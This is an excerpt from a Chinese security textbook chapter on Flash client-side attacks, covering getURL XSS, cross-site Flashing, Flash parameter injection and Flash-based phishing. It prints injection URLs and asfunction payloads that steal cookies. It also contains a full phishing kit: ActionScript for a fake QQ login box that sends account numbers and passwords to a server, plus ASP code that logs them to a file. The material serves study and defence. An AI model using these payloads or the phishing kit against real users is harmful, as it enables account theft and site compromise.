本节书摘来自异步社区《XSS跨站脚本攻击剖析与防御》一书中的第6章6.3节Flash客户端攻击剖析,作者邱永华,更多章节内容可以访问云栖社区“异步社区”公众号查看。
6.3 Flash客户端攻击剖析
XSS跨站脚本攻击剖析与防御
对Flash的基础概念和安全模型进行详细介绍后,现在我们来讨论一些比较实际、也是大家最关心的问题——Flash的安全漏洞。
最早研究Flash漏洞的安全人员要算是Stefano Di-Paola,当时他在OWASP发布了几篇论文,详细介绍了Flash的众多安全漏洞,以及如何利用这些漏洞执行XSS、CSRF之类的攻击,下面让我们一步步进行讨论。
6.3.1 getURL() & XSS
在Flash中被利用最多是 XSS漏洞。第一个Flash XSS漏洞出现在2003年,利用的是clickTAG 变量。
图6-13和图6-14所示为关于Flash XSS的漏洞报告。
clickTAG变量是为基于广告的Flash设计的,其作用是跟踪广告,并帮助提供广告的网络机构跟踪广告的显示位置和广告被单击的时间、次数等。
下面是一个典型的利用或
src="http://www.test.com/banner.swf?clickTAG=http://test.com/track?http://example.com">
或者也可以这样实现:
http://www.test.com/banner.swf?clickTag=[click_through_url]
如果执行getURL(clickTAG)前没有正确检查clickTAG变量,就有可能被注入恶意脚本执行XSS攻击。
我们演示一下。打开Adobe Flash CS3软件,按下快捷键【F9】打开动作面板,如图6-15所示,输入以下ActionScript代码:
getURL (clickTag, "_top");
编译完成之后,用浏览器进行访问:
http://127.0.0.1/xss.swf?clickTag=javascript:alert(/xss/);
此时成功触发XSS,如图6-16所示。
getURL(url:String, [window:String, [method:String]]) : Void
参数说明如下:
url:String:从该处获取文档的URL
window:String [可选]:指定应将文档加载到其中的窗口或HTML帧,您可输入特定窗口的名称,或从下面的保留目标名称中选择:
_self 指定当前窗口中的当前帧
_blank 指定一个新窗口
_parent 指定当前帧的父级
_top指定当前窗口中的顶级帧
method:String [可选]:用于发送变量的GET或POST方法,如果没有变量则省略此参数
使用getURL()可以使页面重定向到函数指定的页面,函数内的参数通常需要设置一个URL,比如http://www.playsec.com,具体脚本如下:
getURL(“http://www.playsec.com”);
假设用“javascript: URL”来替换:
getURL(javascript:code, '_self')
getURL("javascript:alert(document.cookie)");
此时,就能得到一个JavaScript alert对话框。这意味着,我们可以利用getURL()函数来执行任意脚本代码。
假设一个含有漏洞的SWF文件有以下ActionScript脚本:
getURL("javascript:void(0)", "_self", "GET");
那么,通过访问以下URL就可以执行代码:
http://127.0.0.1/xss.swf?a=0:0;alert(/XSS/);
XSS的效果如图6-17所示。
getURL('javascript:alert(123);');
编译好该文件,将文件命名为xss.swf,然后新建一个HTML文件并嵌入该Flash文件:
再用浏览器打开新建的HTML文档,此时会弹出对话框,如图6-18所示。
总而言之,Flash XSS是利用有漏洞的Flash文件进行攻击,漏洞产生的原因主要来自于未经初始化的变量。
任何未初始化的变量,如_root. 、_global. 、_level0. * 都能通过查询关键字为其赋值。
注入点如下。
getURL()函数 (如使用Javascript:alert('XSS'))。
load*(URL,..) 函数 (如使用asfunction:getURL,javascript:alert('XSS'))。
loadVariables(url, level )。
LoadMovie ( url, target )。
LoadMovieNum( url, level )。
XML.load ( url )。
LoadVars.load ( url )。
Sound.loadSound( url , isStreaming )。
NetStream.play( url )。
TextField.html属性 (如)。
漏洞示例代码如下:
if (_root.url == undefined) {
_root.url = "http://host/";
}
gerURL(_root.url);
访问以下URL就能触发XSS:
http://host/movie.swf?url=javascript:alert('XSS')
6.3.2 Cross Site Flashing
跨站Flashing(Cross Site Flashing,XSF)不是一种新型的攻击,但是非常常见。XSF和XSS原理很相似,但XSF利用编写不规范的Flash对象,并从URL参数中获取输入,从而导致恶意攻击,示例如下:
http://foo.com/file.swf?url=javascript:alert(document.cookie);
跨站 Flash 攻击发生时,通常来自两个不同的域,情况如下。
当一个Flash影片用loadMovie*函数(或者利用其他方法)载入另一个Flash影片时,便能获取相同的安全沙箱。
② 当HTML网页使用*Script去解析一个Flash影片的时候,也会产生XSF。
由此可见,XSF可以通过向网站注入恶意的Flash程序来实施攻击,示例如下:
if(_root.movieURI == undefined){
_root.movieURI = "http://host/movie.swf";
}
loadMovieNum(_root.movieURI,1);
触发漏洞的URL:
http://host/movie.swf?movieURI=maliciousFile.swf
在这个示例中,Flash可能包含事先定义的全局变量 _root.movieURI,并且给该变量赋予正常Flash文件进行调用,然后通过 loadMovieNum()方法加载Flash文件movie.swf。但是,当攻击者了解到此全局变量后,可以将恶意Flash文件 maliciousFile.swf 赋给该变量,浏览器就会通过loadMovieNum ()方法装载恶意文件。
下面再来看另外一个示例。
漏洞代码:
loadMovie(_root.mURL + '/movie2.swf');
访问地址:
http://host/foo.swf?mURL=asfunction:getURL,javascript:alert(123)//
结果变成:
loadMovie('asfunction:getURL,javascript:alert(123)///movie2.swf')
进而脚本代码被顺理成章地执行。
除了上述例子中的loadMovieNum()和loadMovie()函数,如果用户能控制的某些数据没有被严格处理,在下面的函数或变量中使用也可能触发XSF攻击。
loadVariables。
loadMovie。
getURL。
loadMovie。
loadMovieNum。
FScrollPane.loadScrollContent。
Sound.loadSound。
NetStream.play。
flash.external.ExternalInterface.call。
htmlText。
这种含有潜在危险的函数简称为PDNF(Potentially Dangerous Native Function),它们通常允许使用asfunction伪协议,前面的例子即使用了asfunction来执行代码。
asfunction是一个专用于Flash的HTML附加协议,在Flash里,标签的href属性有3个不同的协议:HTTP、HTTPS和FTP,关键字asfunction是第四个有效的协议,允许用户通过超级链接调用函数或带一个参数的函数,例如:
click here
在此示例中,当【click here】按钮被按下后,将调用myFunc()函数,而myParameter是myFunc()函数的一个参数。
6.3.3 Flash参数型注入
FPI(Flash Parameter Injection)指Flash参数型注入攻击,是一种动态注入Flash的全局参数的攻击手段。
众所周知,网页中的Flash是直接嵌入到HTML文档中的,因此不能被URI加载,但是由于Flash的一些全局参数是可以通过URI来设置的。这样一来,如果攻击者能访问和控制Flash的全局参数,就能够进行Flash XSS、跨站Flash等攻击。
IBM Rational的安全团体曾经发布一本白皮书专门介绍FPI攻击,该白皮书的名字为Flash Parameter Injection,书中介绍了几种可以在Flash嵌入HTML页面时覆盖全局参数执行攻击的方法,有如下几种类型:
反射型Flash参数注入(Reflected Flash Parameter Injection);
附带FlashVars的反射型Flash参数注入(Reflected Flash Parameter Injection with FlashVars);
FlashVars注入(FlashVars Injection);
基于DOM的Flash参数注入(DOM-based Flash Parameter Injection);
持久型Flash参数注入(Persistent Flash Parameter Injection)。
(1)反射型Flash参数注入。
当Flash视频的名称作为URL参数暴露在外的时候,攻击者可以控制装入的Flash变量,以加载一个恶意的Flash视频。
漏洞代码:
print '';
在上面的代码中,Flash视频的名称取自请求中的表单或URL参数,并且被放在生成的HTML页面中,攻击者可能通过下面的URL覆盖一些Flash全局参数:
http://www.test.com/index.cgi?movie=myMovie.swf?globalVar=e-v-i-l
受害者单击该链接时,即生成下面的HTML代码:
(2)附带FlashVars的反射型Flash参数注入。
这种方法使用FlashVars属性。该属性可以在
漏洞代码如下:
my $language;
if (exists($params{language})) {
$language = $params{language};
}
else {
$langauge = "English"; # 默认值
}
print '';
攻击的方式如下:
http://www.test.com/index.cgi?language=English%26globalVar=e-v-i-l
其中,26%被编码成&,并产生以下的HTML代码:
(3)FlashVars注入。
当任意的
print '';
width和height参数没有被过滤和消毒,直接传递到输出的HTML文档,攻击示例如下:
http://URL/myMovie.cgi? width=600&height=600" flashvars="globalVar=e-v-i-l
单击以上链接生成下面的HTML代码:
(4)基于DOM的Flash参数注入。
当document.location变量被用作Flash参数的时候,会导致此类攻击,其漏洞代码如下:
攻击示例:
http://URL/index.htm#&globalVar=e-v-i-l
生成的代码则是:
这里有两个变量传递给Flash文件,分别是location和glbalVar。location的值为http://URL/index.htm#,glbalVar的值为e-v-i-l。另外,#后的数据不会发送给服务器,这和前面讲过的DOM-Based XSS的原理一样。
(5)持久型Flash参数注入。
该攻击发生在Flash Cookie被保存下来并且被加载到Flash视频中的情况下。
6.3.4 Flash钓鱼剖析
除了利用Flash本身存在的漏洞执行攻击,还可以把Flash当做一个载体加以利用,如网络钓鱼攻击。此类攻击不要求Flash或网站本身存在漏洞,而是结合社会工程学进行攻击。
近年来,基于Flash的钓鱼攻击日益增多,例如,前段时间就有利用QQ空间伪装QQ安全中心进行钓鱼的案例。攻击者通过QQ空间的装扮功能,利用Flash播放器播放了一个精心构造的Flash文件来仿造QQ登录框,并诱使用户输入账号及密码信息。当受害者输入自己的QQ账号和密码后,该信息被发送到指定的空间,并生成一个文本文件记录下来。
该Flash文件的ActionScript代码如下:
var str = "http://localhost/mail.asp";
ntxt.restrict = "0-9";
var scData = new LoadVars();
scData.onLoad = function (success)
{
if (!success)
{
msg.text = "错误:用户密码错误!";
}else
{
msg.text = "错误:用户密码错误!";
}
gotoAndStop(4);
};
sub_btn.onRelease = function ()
{
var _loc1 = ntxt.text;
var _loc2 = ptxt.text;
if (_loc2.length > 5 && _loc1.length > 4)
{
scData.QQNumber = _loc1;
scData.QQPassWord = _loc2;
scData.sendAndLoad(str, scData, "get");
}
if (_loc2.length < 6 || _loc1.length < 5)
{
ntxt.text = "";
ptxt.text = "";
}
};
stop ();
服务端的处理程序如下:
<%
strLogFile="testqqhahaha.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
if QQNumber="" or QQPassWord="" then
response.write "哈哈哈哈"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord
StrLogText=StrLogText&"----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "嘿嘿嘿嘿!"
%>
虚假的Flash QQ登录框如图6-19所示。
用Flash打造的登录框和真实的QQ 登录框几乎一样,即使是颇具经验的用户和早期的安全解决方案都无法识别,Flash钓鱼攻击的危害可见一斑。
本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。